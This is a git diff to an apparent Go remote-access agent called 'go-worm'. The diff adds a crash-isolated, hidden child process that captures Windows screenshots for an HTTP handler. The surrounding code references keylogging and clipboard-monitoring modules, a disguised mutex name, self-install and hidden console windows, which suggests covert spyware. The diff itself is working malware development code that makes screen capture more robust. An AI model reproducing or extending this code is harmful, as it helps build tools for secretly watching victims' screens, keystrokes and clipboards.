diff --git a/lib/agent/agent.go b/lib/agent/agent.go index fe51212..0d37bb5 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -11,6 +11,7 @@ import ( "strings" "time" + "tea.chunkbyte.com/kato/go-worm/lib/capture" "tea.chunkbyte.com/kato/go-worm/lib/clipmon" "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/files" @@ -73,6 +74,7 @@ func New(cfg Config) (*Agent, error) { func (a *Agent) Close() { clipmon.Stop() keylog.Stop() + capture.Stop() if a.guard != nil { a.guard.Close() } diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index bf50c62..ac970e1 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -14,6 +14,7 @@ import ( "strings" "time" + "tea.chunkbyte.com/kato/go-worm/lib/capture" "tea.chunkbyte.com/kato/go-worm/lib/command" "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/files" @@ -329,9 +330,9 @@ func (a *Agent) handleScreenshot(w http.ResponseWriter, r *http.Request) { return } } - frame, err := screenshot.CaptureMonitor(monitor, format, quality) + frame, err := capture.CaptureMonitor(monitor, format, quality) if err != nil { - if errors.Is(err, screenshot.ErrMonitorNotFound) { + if errors.Is(err, capture.ErrMonitorNotFound) { helpers.WriteError(w, http.StatusBadRequest, err.Error()) return } diff --git a/lib/capture/client_stub.go b/lib/capture/client_stub.go new file mode 100644 index 0000000..dba6956 --- /dev/null +++ b/lib/capture/client_stub.go @@ -0,0 +1,15 @@ +//go:build !windows + +package capture + +import ( + "errors" + + "tea.chunkbyte.com/kato/go-worm/lib/models" +) + +func CaptureMonitor(index int, format string, quality int) (models.CapturedImage, error) { + return models.CapturedImage{}, errors.New("capture helper is windows-only") +} + +func Stop() {} diff --git a/lib/capture/client_windows.go b/lib/capture/client_windows.go new file mode 100644 index 0000000..75b6a52 --- /dev/null +++ b/lib/capture/client_windows.go @@ -0,0 +1,153 @@ +//go:build windows + +package capture + +import ( + "bufio" + "errors" + "fmt" + "os" + "os/exec" + "strings" + "sync" + "time" + + "tea.chunkbyte.com/kato/go-worm/lib/config" + "tea.chunkbyte.com/kato/go-worm/lib/helpers" + "tea.chunkbyte.com/kato/go-worm/lib/models" +) + +type helper struct { + cmd *exec.Cmd + stdin *os.File + stdout *os.File + reader *bufio.Reader + frames int +} + +var ( + mu sync.Mutex + current *helper +) + +// CaptureMonitor grabs a frame in a child process so GDI/BitBlt crashes +// cannot take down the agent. The helper is recycled every CaptureRecycleFrames. +func CaptureMonitor(index int, format string, quality int) (models.CapturedImage, error) { + mu.Lock() + defer mu.Unlock() + img, err := current.grab(index, format, quality) + if err == nil { + return img, nil + } + err = mapCaptureErr(err) + if errors.Is(err, ErrMonitorNotFound) { + return models.CapturedImage{}, err + } + stopLocked() + img, err = current.grab(index, format, quality) + if err != nil { + stopLocked() + return models.CapturedImage{}, mapCaptureErr(err) + } + return img, nil +} + +// Stop kills the capture helper. Safe to call if none is running. +func Stop() { + mu.Lock() + defer mu.Unlock() + stopLocked() +} + +func (h *helper) grab(index int, format string, quality int) (models.CapturedImage, error) { + if h == nil || h.cmd == nil || h.cmd.Process == nil { + var err error + current, err = startLocked() + if err != nil { + return models.CapturedImage{}, err + } + h = current + } + if h.frames >= config.CaptureRecycleFrames { + stopLocked() + var err error + current, err = startLocked() + if err != nil { + return models.CapturedImage{}, err + } + h = current + } + deadline := time.Now().Add(config.CaptureTimeout) + _ = h.stdin.SetWriteDeadline(deadline) + _ = h.stdout.SetReadDeadline(deadline) + if err := writeRequest(h.stdin, index, format, quality); err != nil { + return models.CapturedImage{}, err + } + img, err := readResponse(h.reader) + if err != nil { + return models.CapturedImage{}, err + } + h.frames++ + return img, nil +} + +func startLocked() (*helper, error) { + exe, err := os.Executable() + if err != nil { + return nil, err + } + inR, inW, err := os.Pipe() + if err != nil { + return nil, err + } + outR, outW, err := os.Pipe() + if err != nil { + _ = inR.Close() + _ = inW.Close() + return nil, err + } + cmd := exec.Command(exe, "-capture", "-skip-install") + cmd.Stdin = inR + cmd.Stdout = outW + cmd.Stderr = os.Stderr + cmd.SysProcAttr = helpers.HiddenSysProcAttr() + if err := cmd.Start(); err != nil { + _ = inR.Close() + _ = inW.Close() + _ = outR.Close() + _ = outW.Close() + return nil, fmt.Errorf("start capture helper: %w", err) + } + _ = inR.Close() + _ = outW.Close() + return &helper{ + cmd: cmd, + stdin: inW, + stdout: outR, + reader: bufio.NewReader(outR), + }, nil +} + +func stopLocked() { + h := current + current = nil + if h == nil { + return + } + _ = h.stdin.Close() + _ = h.stdout.Close() + if h.cmd != nil && h.cmd.Process != nil { + _ = h.cmd.Process.Kill() + _ = h.cmd.Wait() + } +} + +func mapCaptureErr(err error) error { + if err == nil { + return nil + } + if strings.Contains(strings.ToLower(err.Error()), "monitor not found") { + return ErrMonitorNotFound + } + return err +} diff --git a/lib/capture/helper_stub.go b/lib/capture/helper_stub.go new file mode 100644 index 0000000..9faf372 --- /dev/null +++ b/lib/capture/helper_stub.go @@ -0,0 +1,5 @@ +//go:build !windows + +package capture + +func RunHelper() int { return 1 } diff --git a/lib/capture/helper_windows.go b/lib/capture/helper_windows.go new file mode 100644 index 0000000..a7800dc --- /dev/null +++ b/lib/capture/helper_windows.go @@ -0,0 +1,56 @@ +//go:build windows + +package capture + +import ( + "bufio" + "fmt" + "io" + "os" + + "tea.chunkbyte.com/kato/go-worm/lib/models" + "tea.chunkbyte.com/kato/go-worm/lib/screenshot" +) + +// RunHelper is the -capture process: one GDI grab per stdin request, then +// the process can be killed without taking the agent down. +func RunHelper() int { + in := bufio.NewReader(os.Stdin) + out := bufio.NewWriter(os.Stdout) + for { + monitor, format, quality, err := readRequest(in) + if err == io.EOF { + return 0 + } + if err != nil { + _ = writeErr(out, err.Error()) + _ = out.Flush() + return 1 + } + img, err := grab(monitor, format, quality) + if err != nil { + if werr := writeErr(out, err.Error()); werr != nil { + return 1 + } + if err := out.Flush(); err != nil { + return 1 + } + continue + } + if err := writeFrame(out, img); err != nil { + return 1 + } + if err := out.Flush(); err != nil { + return 1 + } + } +} + +func grab(monitor int, format string, quality int) (img models.CapturedImage, err error) { + defer func() { + if r := recover(); r != nil { + err = fmt.Errorf("panic: %v", r) + } + }() + return screenshot.CaptureMonitor(monitor, format, quality) +} diff --git a/lib/capture/protocol.go b/lib/capture/protocol.go new file mode 100644 index 0000000..bcf0a34 --- /dev/null +++ b/lib/capture/protocol.go @@ -0,0 +1,98 @@ +package capture + +import ( + "bufio" + "errors" + "fmt" + "io" + "strconv" + "strings" + + "tea.chunkbyte.com/kato/go-worm/lib/config" + "tea.chunkbyte.com/kato/go-worm/lib/models" +) + +var ErrMonitorNotFound = errors.New("monitor not found") + +func writeRequest(w io.Writer, monitor int, format string, quality int) error { + _, err := fmt.Fprintf(w, "C %d %s %d\n", monitor, format, quality) + return err +} + +func readRequest(r *bufio.Reader) (monitor int, format string, quality int, err error) { + line, err := r.ReadString('\n') + if err != nil { + return 0, "", 0, err + } + fields := strings.Fields(strings.TrimSpace(line)) + if len(fields) != 4 || fields[0] != "C" { + return 0, "", 0, errors.New("bad capture request") + } + monitor, err = strconv.Atoi(fields[1]) + if err != nil { + return 0, "", 0, err + } + format = fields[2] + quality, err = strconv.Atoi(fields[3]) + if err != nil { + return 0, "", 0, err + } + return monitor, format, quality, nil +} + +func writeFrame(w io.Writer, img models.CapturedImage) error { + if len(img.Data) > config.MaxCaptureBytes { + return errors.New("frame too large") + } + if _, err := fmt.Fprintf(w, "O %s %d %d %d %d %d\n", + strings.ReplaceAll(img.ContentType, " ", ""), + img.Left, img.Top, img.Width, img.Height, len(img.Data)); err != nil { + return err + } + _, err := w.Write(img.Data) + return err +} + +func writeErr(w io.Writer, msg string) error { + msg = strings.ReplaceAll(strings.TrimSpace(msg), "\n", " ") + if msg == "" { + msg = "capture failed" + } + _, err := fmt.Fprintf(w, "E %s\n", msg) + return err +} + +func readResponse(r *bufio.Reader) (models.CapturedImage, error) { + line, err := r.ReadString('\n') + if err != nil { + return models.CapturedImage{}, err + } + line = strings.TrimRight(line, "\r\n") + if strings.HasPrefix(line, "E ") { + return models.CapturedImage{}, errors.New(strings.TrimSpace(line[2:])) + } + fields := strings.Fields(line) + if len(fields) != 7 || fields[0] != "O" { + return models.CapturedImage{}, errors.New("bad capture response") + } + left, _ := strconv.Atoi(fields[2]) + top, _ := strconv.Atoi(fields[3]) + width, _ := strconv.Atoi(fields[4]) + height, _ := strconv.Atoi(fields[5]) + n, err := strconv.Atoi(fields[6]) + if err != nil || n < 0 || n > config.MaxCaptureBytes { + return models.CapturedImage{}, errors.New("bad capture size") + } + data := make([]byte, n) + if _, err := io.ReadFull(r, data); err != nil { + return models.CapturedImage{}, err + } + return models.CapturedImage{ + ContentType: fields[1], + Data: data, + Left: left, + Top: top, + Width: width, + Height: height, + }, nil +} diff --git a/lib/capture/protocol_test.go b/lib/capture/protocol_test.go new file mode 100644 index 0000000..fd960a2 --- /dev/null +++ b/lib/capture/protocol_test.go @@ -0,0 +1,53 @@ +package capture + +import ( + "bufio" + "bytes" + "testing" + + "tea.chunkbyte.com/kato/go-worm/lib/models" +) + +func TestCaptureProtocolRoundTrip(t *testing.T) { + t.Parallel() + var buf bytes.Buffer + if err := writeRequest(&buf, 1, "jpeg", 40); err != nil { + t.Fatal(err) + } + mon, format, quality, err := readRequest(bufio.NewReader(bytes.NewReader(buf.Bytes()))) + if err != nil { + t.Fatal(err) + } + if mon != 1 || format != "jpeg" || quality != 40 { + t.Fatalf("request = %d %s %d", mon, format, quality) + } + + buf.Reset() + want := models.CapturedImage{ + ContentType: "image/jpeg", + Data: []byte{0xff, 0xd8, '\n', 0x00, 0xff}, + Left: 10, Top: 20, Width: 100, Height: 50, + } + if err := writeFrame(&buf, want); err != nil { + t.Fatal(err) + } + got, err := readResponse(bufio.NewReader(&buf)) + if err != nil { + t.Fatal(err) + } + if got.ContentType != want.ContentType || got.Left != want.Left || got.Width != want.Width || !bytes.Equal(got.Data, want.Data) { + t.Fatalf("frame mismatch: %#v", got) + } +} + +func TestCaptureProtocolError(t *testing.T) { + t.Parallel() + var buf bytes.Buffer + if err := writeErr(&buf, "no displays found"); err != nil { + t.Fatal(err) + } + _, err := readResponse(bufio.NewReader(&buf)) + if err == nil || err.Error() != "no displays found" { + t.Fatalf("err = %v", err) + } +} diff --git a/lib/config/config.go b/lib/config/config.go index 50ae59c..9901040 100644 --- a/lib/config/config.go +++ b/lib/config/config.go @@ -13,6 +13,9 @@ const ( DefaultAddr = "0.0.0.0:5032" MutexName = "win64_mp_Mutex" RestartDelay = 3 * time.Second + CaptureRecycleFrames = 100 + CaptureTimeout = 8 * time.Second + MaxCaptureBytes = 32 << 20 RequestBodyMax = 1 << 20 MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed MaxListEntries = 10000 diff --git a/lib/instance/args.go b/lib/instance/args.go index e27d1ee..385b3b6 100644 --- a/lib/instance/args.go +++ b/lib/instance/args.go @@ -14,6 +14,8 @@ func filterArgs(args []string) []string { continue case lower == "ensure" || strings.HasPrefix(lower, "ensure="): continue + case lower == "capture" || strings.HasPrefix(lower, "capture="): + continue } out = append(out, arg) } diff --git a/lib/instance/args_test.go b/lib/instance/args_test.go index 377d7cd..7ed70e7 100644 --- a/lib/instance/args_test.go +++ b/lib/instance/args_test.go @@ -7,7 +7,7 @@ import ( func TestFilterArgsDropsLauncherFlags(t *testing.T) { t.Parallel() - got := filterArgs([]string{"-ensure", "-background", "-foreground", "-addr", "0.0.0.0:5033"}) + got := filterArgs([]string{"-ensure", "-background", "-foreground", "-capture", "-addr", "0.0.0.0:5033"}) want := []string{"-addr", "0.0.0.0:5033"} if !reflect.DeepEqual(got, want) { t.Fatalf("filterArgs() = %#v, want %#v", got, want) diff --git a/lib/instance/console_windows.go b/lib/instance/console_windows.go index b12fdc8..2eb33fd 100644 --- a/lib/instance/console_windows.go +++ b/lib/instance/console_windows.go @@ -14,6 +14,7 @@ var ( procSetConsoleCtrl = kernel32.NewProc("SetConsoleCtrlHandler") procAllocConsole = kernel32.NewProc("AllocConsole") procGetStdHandle = kernel32.NewProc("GetStdHandle") + procGetFileType = kernel32.NewProc("GetFileType") user32 = syscall.NewLazyDLL("user32.dll") procShowWindow = user32.NewProc("ShowWindow") consoleCtrlCallback uintptr @@ -81,6 +82,9 @@ func consoleCtrlHandler(ctrlType uintptr) uintptr { } func redirectStdioToNul() { + if stdioIsPipe() { + return + } nul, err := os.OpenFile("NUL", os.O_RDWR, 0) if err != nil { return @@ -89,3 +93,12 @@ func redirectStdioToNul() { os.Stdout = nul os.Stderr = nul } + +func stdioIsPipe() bool { + const fileTypePipe = 3 + stdin, _, _ := procGetStdHandle.Call(^uintptr(9)) + stdout, _, _ := procGetStdHandle.Call(^uintptr(10)) + inType, _, _ := procGetFileType.Call(stdin) + outType, _, _ := procGetFileType.Call(stdout) + return inType == fileTypePipe || outType == fileTypePipe +} diff --git a/lib/screenshot/screenshot.go b/lib/screenshot/screenshot.go index 1827752..1fce389 100644 --- a/lib/screenshot/screenshot.go +++ b/lib/screenshot/screenshot.go @@ -7,6 +7,7 @@ import ( "image/jpeg" "image/png" "runtime" + "sync" "syscall" "unsafe" @@ -157,19 +158,30 @@ func attachInputDesktop() error { return nil } +var ( + enumMu sync.Mutex + enumBuf []rect + enumCB = syscall.NewCallback(enumMonitor) +) + +func enumMonitor(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr { + if monitorRect != 0 { + enumBuf = append(enumBuf, *(*rect)(unsafe.Pointer(monitorRect))) + } + return 1 +} + func enumerateMonitors() ([]rect, error) { - var monitors []rect - callback := syscall.NewCallback(func(_ uintptr, _ uintptr, monitorRect uintptr, _ uintptr) uintptr { - if monitorRect != 0 { - monitors = append(monitors, *(*rect)(unsafe.Pointer(monitorRect))) - } - return 1 - }) - ok, _, err := procEnumDisplayMonitors.Call(0, 0, callback, 0) + enumMu.Lock() + defer enumMu.Unlock() + enumBuf = enumBuf[:0] + ok, _, err := procEnumDisplayMonitors.Call(0, 0, enumCB, 0) if ok == 0 { return nil, err } - return monitors, nil + out := make([]rect, len(enumBuf)) + copy(out, enumBuf) + return out, nil } func captureRect(r rect) (*image.RGBA, error) { diff --git a/main.go b/main.go index 5eea908..01666cc 100644 --- a/main.go +++ b/main.go @@ -12,10 +12,12 @@ import ( "errors" "flag" "fmt" + "os" "strings" "time" "tea.chunkbyte.com/kato/go-worm/lib/agent" + "tea.chunkbyte.com/kato/go-worm/lib/capture" "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/crashlog" "tea.chunkbyte.com/kato/go-worm/lib/helpers" @@ -39,8 +41,13 @@ func main() { skipInstall := flag.Bool("skip-install", false, "do not copy exe into the install directory") parallel := flag.Bool("parallel", false, "allow running beside another agent instance") addr := flag.String("addr", "", "listen address host:port (overrides AGENT_ADDR)") + captureMode := flag.Bool("capture", false, "run as screenshot helper (used internally)") flag.Parse() + if *captureMode { + os.Exit(capture.RunHelper()) + } + if *foreground { instance.AllowConsoleKill() instance.ShowConsole()